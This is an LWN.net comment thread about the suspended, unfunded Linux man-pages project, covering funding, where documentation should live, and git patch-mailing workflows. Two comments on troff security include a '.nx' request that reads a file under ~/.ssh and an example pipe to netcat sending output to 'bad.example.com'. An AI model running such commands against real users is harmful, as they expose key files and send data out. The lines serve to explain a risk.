Man pages maintenance suspended
I've been doing it in my free time, and no company has sponsored that work at all. At the moment, I cannot sustain this work economically any more, and will temporarily and indefinitely stop working on this project. If any company has interests in the future of the project, I'd welcome an offer to sponsor my work here; if so, please let me know.
Posted Sep 6, 2024 15:15 UTC (Fri)
by BurdetteLamar (guest, #173322)
[Link]
Some here may know that for five years now I've been working to improve the Ruby documentation (https://docs.ruby-lang.org/en/master/table_of_contents.html). I'd love to help out here as well. I would need the support (as I've had at Ruby) of well-informed reviewers.
Posted Sep 6, 2024 15:34 UTC (Fri)
by NightMonkey (subscriber, #23051)
[Link]
Thank you, Alejandro, for your thankless and important work.
Posted Sep 6, 2024 17:18 UTC (Fri)
by Cyberax (✭ supporter ✭, #52523)
[Link]
Posted Sep 6, 2024 17:28 UTC (Fri)
by carlosrodfern (subscriber, #166486)
[Link] (28 responses)
Posted Sep 6, 2024 17:40 UTC (Fri)
by adobriyan (subscriber, #30858)
[Link] (18 responses)
Posted Sep 6, 2024 18:29 UTC (Fri)
by Deleted user 129183 (guest, #129183)
[Link] (7 responses)
https://man7.org/linux/man-pages/man3/gnu_get_libc_versio...
Or for GNU coreutils:
https://man7.org/linux/man-pages/man5/dir_colors.5.html
Or for util-linux:
https://man7.org/linux/man-pages/man5/shells.5.html
Or the internal development documentation:
https://man7.org/linux/man-pages/man7/man-pages.7.html
Or even completely irrelevant things that can be easily found in many other sources:
https://man7.org/linux/man-pages/man7/iso_8859-1.7.html
Honestly, these pages probably should be deleted since they duplicate other documentation or moved to their proper places.
Posted Sep 6, 2024 18:48 UTC (Fri)
by Wol (subscriber, #4433)
[Link] (6 responses)
Man pages are meant to be easy to find, and tell you all about the system. I don't want to have to go searching the internet when "man command" should be all I need.
If other documentation duplicates man pages fine. The people who maintain that documentation should maintain the man pages.
Part of the problem is GNU changing all their man pages to say "the real documentation is at 'info whatever'", which has told people that maintaining a decent - AND COMPREHENSIVE - archive of documentation is not worth doing.
Cheers,
Posted Sep 10, 2024 8:11 UTC (Tue)
by andi8086 (subscriber, #153876)
[Link] (4 responses)
Posted Sep 10, 2024 9:47 UTC (Tue)
by Wol (subscriber, #4433)
[Link] (1 responses)
I usually google "man fopen" or whatever. However I see it a bit different from you - running gentoo a lot of stuff isn't on my system so running man locally often fails.
But yes, the point still stands that "man whatever" is pretty much guaranteed to work, whether typed locally for a command on your system, or googled for something that SHOULD be on your system :-)
(And much as I hate texinfo, even a bare page that says "use texinfo" is a good starting point. I generally go straight from there to "how do I convert texinfo to pdf", which I never remember because I don't do it much ...)
Cheers,
Posted Sep 12, 2024 2:50 UTC (Thu)
by NYKevin (subscriber, #129325)
[Link]
Posted Sep 11, 2024 8:45 UTC (Wed)
by atnot (subscriber, #124910)
[Link] (1 responses)
I do this consciously for a few reasons:
Posted Sep 25, 2024 9:25 UTC (Wed)
by moltonel (guest, #45207)
[Link]
Posted Sep 23, 2024 10:16 UTC (Mon)
by ceplm (subscriber, #41334)
[Link]
That’s obviously evil, I don’t dispute that, but there used to be a project maintaining non-mangled versions of these manpages. Or am I hallucinating (even humans can hallucinate)?
Posted Sep 6, 2024 19:27 UTC (Fri)
by mkerrisk (subscriber, #1978)
[Link] (9 responses)
This is a comment that completely overlooks the tight relationship between system calls and C library wrapper functions. And I never saw any evidence that the notion of moving man2 into the kernel would magically fix things.
Posted Sep 8, 2024 8:49 UTC (Sun)
by gnoack (subscriber, #131611)
[Link] (8 responses)
I realize that some glibc wrappers have different APIs than what the kernel provides (like e.g. the nptl(7) signal hack for process credential changes). But there is also a long list of documented functionality which does not have glibc wrappers, or whose semantics are not changed by the glibc wrappers. In fact, IIUC, this should already be true for much of the (a) IOCTL commands, (b) /proc interfaces, and (c) the conceptual documentation in man7? Just having a place in the kernel tree where such man pages could be put at all would help, IMHO. As an example, I have been contributing to Landlock in the last years, whose API is not wrapped by glibc, and our documentation process has been causing us a lot of back-and-forth due to that split. Specifically, the process is roughly this: Some problems with this process are: Don't get me wrong -- I am truly thankful for your and Alejandro's work on all of this -- It just seems to me that the current process was indeed hampering the documentation efforts a bit. A few months ago I talked to a group of other kernel developers to ask them how they dealt with it, and found that they had simple not been writing any man pages at all. I suspect that if man pages could be commited in the same patch series as the code and the kernel documentation, documentation writing would become a much more natural and straightforward part of the process, no?
Posted Sep 8, 2024 9:03 UTC (Sun)
by Wol (subscriber, #4433)
[Link] (1 responses)
So that's then kept up-to-date with the kernel, and copied in to the man tree when a kernel is installed/updated.
(That trick would also work with all sorts of other things, so things like kde, postgres, scarletdme, what-have-you, could put things into the man system.)
Cheers,
Posted Sep 8, 2024 13:26 UTC (Sun)
by phm (subscriber, #168918)
[Link]
AFAIK yes. Perl uses it's own section "3p" or "3perl". I've never used FreeBSD but I checked their man website and they have a section named "n".
Posted Sep 8, 2024 9:24 UTC (Sun)
by alx.manpages (subscriber, #145117)
[Link] (5 responses)
Several contributors do that already, and we discuss the manual page in parallel to the kernel patches. I usually do not merge the manual page until the feature is in Linus's tree, but the manual page is mostly ready by that time. I then get a ping when the feature is merged, proceed to a fresh review of the page in case I find something I missed, and merge it if it's fine.
Posted Sep 8, 2024 11:51 UTC (Sun)
by intelfx (guest, #130118)
[Link] (4 responses)
I guess I'll second the GP and say it would be much better and easier to follow and review it if both were maintained in the same place such that it could be part of the same patchset.
It's like rubber duck debugging — if you're the patchset author, writing docs at the same time might help bring your attention to semantic problems or unsoundness, and if you're the reviewer, reading code and docs at the same time might help you to spot inconsistencies which typically mean some cases were not considered by the author.
Posted Sep 8, 2024 12:14 UTC (Sun)
by alx.manpages (subscriber, #145117)
[Link] (3 responses)
That's precisely how it's done. The patches being to separate git repositories doesn't mean that they must be in separate mail threads.
See an example of a kernel feature and its documentation being reviewed at the same time, and by all parties, here:
And for libc, it would also be great if developers would include a man-pages patch at the same time they work on a libc feature, and send both the libc and man-pages patches in the same mail thread, for a better review.
Maybe this should be documented in the contribution guidelines of the man-pages project.
Posted Sep 8, 2024 13:06 UTC (Sun)
by gnoack (subscriber, #131611)
[Link] (2 responses)
Oh, thanks, I had no idea this was even possible with git format-patch! o_O. I agree, we should absolutely start using that process (once the maintenance situation is resolved). IMHO this should not just go into the man-pages documentation, but also in the kernel contribution documentation. Is there a recommended way to produce such patch sets, and to mail them, other than manipulating the generated mails themselves? Are there special tools that people use which I overlooked? :) Thanks,
Posted Sep 8, 2024 13:55 UTC (Sun)
by alx.manpages (subscriber, #145117)
[Link] (1 responses)
```
That will generate a Message-ID in the cover letter when you generate the kernel patch set. When you generate the patch set for the man pages, just use `--in-reply-to="<the_message_id_of_the_cover_letter>"`.
I don't know if there's a better way to do it. This one looks simple to me. You may want to also tweak the patch numbers, which I think you'll need to do manually (at least some part), but you could use separate numbering as well, which I think is fine, and wouldn't require manual tweaks. Maybe Jiri can explain another approach.
Posted Sep 9, 2024 7:22 UTC (Mon)
by gnoack (subscriber, #131611)
[Link]
FWIW, I believe I found a way that might be better: Import multiple projects into the same local repository. This is a bit unusual, but you can actually just git fetch multiple unrelated repositories at once. In my example, I used worktrees to make my file system layout look a bit more conventional -- have one worktree under /tmp/proj and one under /tmp/man. For the sake of the example, I'll assume that they are checked out to same-named branches "proj" and "man". Now you can format a patch set using: This results in a single patch set that includes both the project and man page patches. Caveats: Maybe this is what Jiri used?
Posted Sep 6, 2024 19:23 UTC (Fri)
by mkerrisk (subscriber, #1978)
[Link] (2 responses)
Such contributors almost certainly don't exist. "Activity" from other contibutors != someone who has the time, energy, and ability to be a potential maintainer. In more than 15 years of maintaining the project, Alex was the only person that appeared who could seriously take over the maintainership. He's done a great job, but there's only so much a volunteer can do.
Posted Sep 6, 2024 21:15 UTC (Fri)
by tglx (subscriber, #31301)
[Link] (1 responses)
The problem with this whole industry is that it completely lost the sense for the importance of cleaning up technical debt. Maybe it never developed it in the first place.
The 'features and performance first' mindset will rear it's ugly head sooner than later.
Posted Sep 7, 2024 14:55 UTC (Sat)
by koverstreet (✭ supporter ✭, #4296)
[Link]
this sort of thing isn't going to get fixed without a major power struggle.
Posted Sep 7, 2024 1:34 UTC (Sat)
by linuxrocks123 (subscriber, #34648)
[Link] (4 responses)
:)
Posted Sep 7, 2024 5:08 UTC (Sat)
by Cyberax (✭ supporter ✭, #52523)
[Link] (3 responses)
Posted Sep 7, 2024 18:24 UTC (Sat)
by ballombe (subscriber, #9523)
[Link]
Posted Sep 7, 2024 20:08 UTC (Sat)
by fw (subscriber, #26023)
[Link] (1 responses)
Posted Sep 8, 2024 4:00 UTC (Sun)
by KJ7RRV (subscriber, #153595)
[Link]
Posted Sep 7, 2024 21:04 UTC (Sat)
by fredi@lwn (subscriber, #65912)
[Link]
Posted Sep 6, 2024 19:29 UTC (Fri)
by Keith.S.Thompson (subscriber, #133709)
[Link] (2 responses)
Posted Sep 6, 2024 19:37 UTC (Fri)
by mikejang (guest, #173327)
[Link] (1 responses)
I'm part of a group of Git-capable technical writers who might be able to help. Keith, thanks for the link to the Linux man-pages project at https://git.kernel.org/pub/scm/docs/man-pages/website.git/.
Is there a mailing list or list of issues for current man pages?
Posted Sep 6, 2024 20:07 UTC (Fri)
by mikejang (guest, #173327)
[Link]
Posted Sep 7, 2024 1:21 UTC (Sat)
by montj2 (guest, #111739)
[Link] (4 responses)
Posted Sep 7, 2024 2:07 UTC (Sat)
by carlosrodfern (subscriber, #166486)
[Link] (2 responses)
Regarding your reference to BSD, this project in question is about linux man pages, not the gnu man-db project itself, so BSD is not affected as far as I understand.
Posted Sep 7, 2024 13:51 UTC (Sat)
by dskoll (subscriber, #1630)
[Link] (1 responses)
I think montj2 was implying that the BSD man pages are in better shape than the Linux ones.
Posted Sep 7, 2024 15:47 UTC (Sat)
by mkerrisk (subscriber, #1978)
[Link]
Well if we are talking about pages in man2, I'd say that the Linux pages are in *considerably* better shape than the BSD pages...
Posted Sep 7, 2024 7:19 UTC (Sat)
by k3ninho (subscriber, #50375)
[Link]
K3n.
Posted Sep 8, 2024 21:26 UTC (Sun)
by flinx101 (guest, #173352)
[Link] (5 responses)
Posted Sep 9, 2024 7:47 UTC (Mon)
by NYKevin (subscriber, #129325)
[Link] (4 responses)
* Debian (who have a history of maintaining man pages for GNU userland utilities in section 1 of the manual, and could probably pick up section 2 if nobody else is doing it)
Even if these man pages do disappear, other forms of documentation will remain accessible, including:
* Much of the material linked from https://docs.kernel.org/userspace-api/index.html, but that is rather limited in scope compared to section 2 of the manual.
Overall, while this development is not exactly a good sign for the project's long-term health, neither is it an imminent disaster.
Posted Sep 9, 2024 23:09 UTC (Mon)
by branden (guest, #7029)
[Link] (3 responses)
The official GNU position on this has softened over the years. While as I vaguely recall, GNU's Coding Standards document used to say, more or less, "don't bother with man pages", it now says (and has for a while):
"In the GNU project, man pages are secondary. It is not necessary or expected for every GNU program to have a man page, but some of them do. It’s your choice whether to include a man page in your program." https://www.gnu.org/prep/standards/standards.html#Man-Pages
Just this weekend I got an email from the GNU account management folks that I'm the new groff maintainer. I've been working on groff for a while. One of my objectives has been to make the man page experience better in both content and presentation (starting with many of groff's own).
Posted Sep 10, 2024 2:02 UTC (Tue)
by NYKevin (subscriber, #129325)
[Link] (2 responses)
Posted Sep 12, 2024 17:37 UTC (Thu)
by djdelorie (subscriber, #36714)
[Link] (1 responses)
(Not trying to belittle Alex's efforts; his work is hugely appreciated, just trying to address this one point)
Posted Sep 12, 2024 23:15 UTC (Thu)
by paulj (subscriber, #341)
[Link]
Posted Sep 9, 2024 8:57 UTC (Mon)
by paulj (subscriber, #341)
[Link]
This is the tragedy of all this. So many massive companies relying on work like this, and if and when some hapless volunteer tries to call attention to the lack of support for it, the general reaction is to kick them in the nuts.
Posted Sep 9, 2024 12:30 UTC (Mon)
by metan (subscriber, #74107)
[Link] (1 responses)
One option I was thinking of was to add support into man for a better markup e.g. markdown, add new man pages into that format and possibly semi-automatically convert the old pages as well. It would be much more easier to write and review changes after this, at least for me.
Posted Sep 9, 2024 13:08 UTC (Mon)
by alx.manpages (subscriber, #145117)
[Link]
<https://git.kernel.org/pub/scm/docs/man-pages/man-pages.g...>
```
$ git config --global diff.man.xfuncname '^\.S[SHsh] .*$';
Posted Sep 10, 2024 15:45 UTC (Tue)
by chriz (guest, #173385)
[Link]
Cheers
Posted Feb 28, 2025 20:13 UTC (Fri)
by mdolan (subscriber, #104340)
[Link]
https://www.linkedin.com/posts/the-linux-foundation_linux...
Can I help?
Yikes!
So underrated!
Contributors
Contributors
Contributors
https://man7.org/linux/man-pages/man7/uri.7.html
Contributors
Wol
man locally
man locally
Wol
man locally
man locally
- The formatting and searching experience is usually more pleasant (especially with https://docs.jade.fyi/, which you can also use offline)
- Having many browser tabs open is usually a better experience for referencing stuff than having many terminals open (even with tabs)
- I will usually have other documentation and searches open in my browser anyway and this means they'll be right alongside them
man locally
Contributors
Contributors
Contributors
Contributors
Wol
Contributors
Contributors
Contributors
Contributors
<https://lore.kernel.org/linux-man/CAEf4BzZzE94QUdhWPmrMzR...>
Contributors
—GüntherContributors
--thread[=<style>], --no-thread
Controls addition of In-Reply-To and References headers to
make the second and subsequent mails appear as replies to the
first. Also controls generation of the Message-ID header to
reference.
```
Contributors
git format-patch --cover-letter --subject-prefix="PATCH proj" proj^^..proj man^..man
Contributors
Contributors
Contributors
Contributors
Contributors
Contributors
Historically, troff has some shell scripting integration (Contributors
.pi and other commands). Most of it should be disabled by default (but it didn't work that well for Ghostscript). Even reading other files can be problematic. You can try
.nx ../.ssh/id_rsa.pub
from a .man file in ~/Downloads.
Wouldn't this require the attacker to trick the user into sending them the output to actually be harmful, for example, by running a command like Reading files using man pages
man badman | nc 1234 bad.example.com, in which case a simple cat (or redirection, since this would be a UUOC) could be substituted for man, avoiding the need for a malicious man page entirely?
Contributors
https://www.kernel.org/doc/man-pages/
Project URL
Project URL
Project URL
Maybe Petition the Foundation
Maybe Petition the Foundation
Maybe Petition the Foundation
Maybe Petition the Foundation
Maybe Petition the Foundation
not a dev
I am not a dev and cannot in any way help with this, But I feel strongly enough to pay money just to post this one comment on here. I feel that if this project is not maintained it will have very bad consequences for the future of Linux.
Note: I am aware of man pages but have never actively used them.
not a dev
* Red Hat (who have a history of maintaining their own man pages where necessary for the benefit of their customers, and would probably not be willing to sell customers a RHEL whose manual is substantially incomplete or outdated)
* GNU (who do not like man pages, and have for many years been trying to convince the rest of us to switch to texinfo, but at least texinfo files would still be freely accessible and usable - also they maintain glibc, so they necessarily know how every syscall that has a wrapper works).
* The POSIX standard, which is freely available at https://pubs.opengroup.org/onlinepubs/9799919799/, comprehensively documents all standardized interfaces, but does not cover anything Linux-specific.
not a dev
not a dev
not a dev
not a dev
Misplaced calls
Maybe one of the problems here is troff
git-diff(1) with man(7) source
git-diff(1), gitattributes(5)
To produce useful hunk contexts in manual pages, we need to hack
git(1)'s idea of a function name, and also to tell git what is a
manual page.
$ echo '*.[0-9]* diff=man' >>~/.config/git/attributes;
```
How can I support?
How can I support the man pages project with work?
chriz
Posting an update: Alejandro's work has been funded for 2025